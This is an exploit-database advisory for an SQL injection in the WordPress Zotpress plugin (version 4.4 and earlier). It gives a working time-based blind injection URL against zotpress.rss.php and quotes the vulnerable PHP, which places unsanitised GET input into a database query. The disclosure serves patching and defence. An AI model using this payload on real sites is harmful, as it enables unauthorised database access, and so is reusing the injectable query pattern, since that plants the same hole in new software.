Lucene search
K

WordPress Zotpress plugin <= 4.4 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

WordPress Zotpress plugin <= 4.4 SQL Injection Vulnerability. Allows remote attackers to execute arbitrary SQL commands via the api_user_id and account_type parameters in zotpress.rss.php

Code

                                                # Exploit Title: WordPress Zotpress plugin &#60;= 4.4 SQL Injection Vulnerability
# Date: 2011-09-04
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/zotpress.4.4.zip
# Version: 4.4 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/zotpress/zotpress.rss.php?api_user_id=1&account_type=test&displayImages=true&displayImageByCitationID=-1&#39; AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if ($mzr_api_user_id == false
	&& $mzr_include == false
	&& (isset($_GET[&#39;api_user_id&#39;]) && preg_match(&#34;/^[0-9]+$/&#34;, $_GET[&#39;api_user_id&#39;])))
{
	$mzr_api_user_id = trim($_GET[&#39;api_user_id&#39;]);
}
...
if ($mzr_account_type == false
	&& $mzr_include == false
	&& (isset($_GET[&#39;account_type&#39;]) && preg_match(&#34;/^[a-zA-Z]+$/&#34;, $_GET[&#39;account_type&#39;])))
{
	$mzr_account_type = trim($_GET[&#39;account_type&#39;]);
}
...
if ($mzr_displayImages == false
	&& $mzr_include == false
	&& (isset($_GET[&#39;displayImages&#39;]) && preg_match(&#34;/^[a-zA-Z]+$/&#34;, $_GET[&#39;displayImages&#39;])))
{
	$zp_update_db_shortcode_request .= &#34;image=&#39;&#34;.$_GET[&#39;displayImages&#39;].&#34;&#39;, &#34;;
	
	if ($_GET[&#39;displayImages&#39;] == &#34;true&#34;)
		$mzr_displayImages = true;
	else
		$mzr_displayImages = false;
}
...
if (isset($mzr_account_type) && isset($mzr_api_user_id))
{
	if ($mzr_displayImages == true)
	{
		if (isset($_GET[&#39;displayImageByCitationID&#39;]))
			$images = $wpdb-&#62;get_results(&#34;SELECT * FROM &#34;.$wpdb-&#62;prefix.&#34;zotpress_images WHERE citation_id=&#39;&#34;.trim($_GET[&#39;displayImageByCitationID&#39;]).&#34;&#39;&#34;);

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation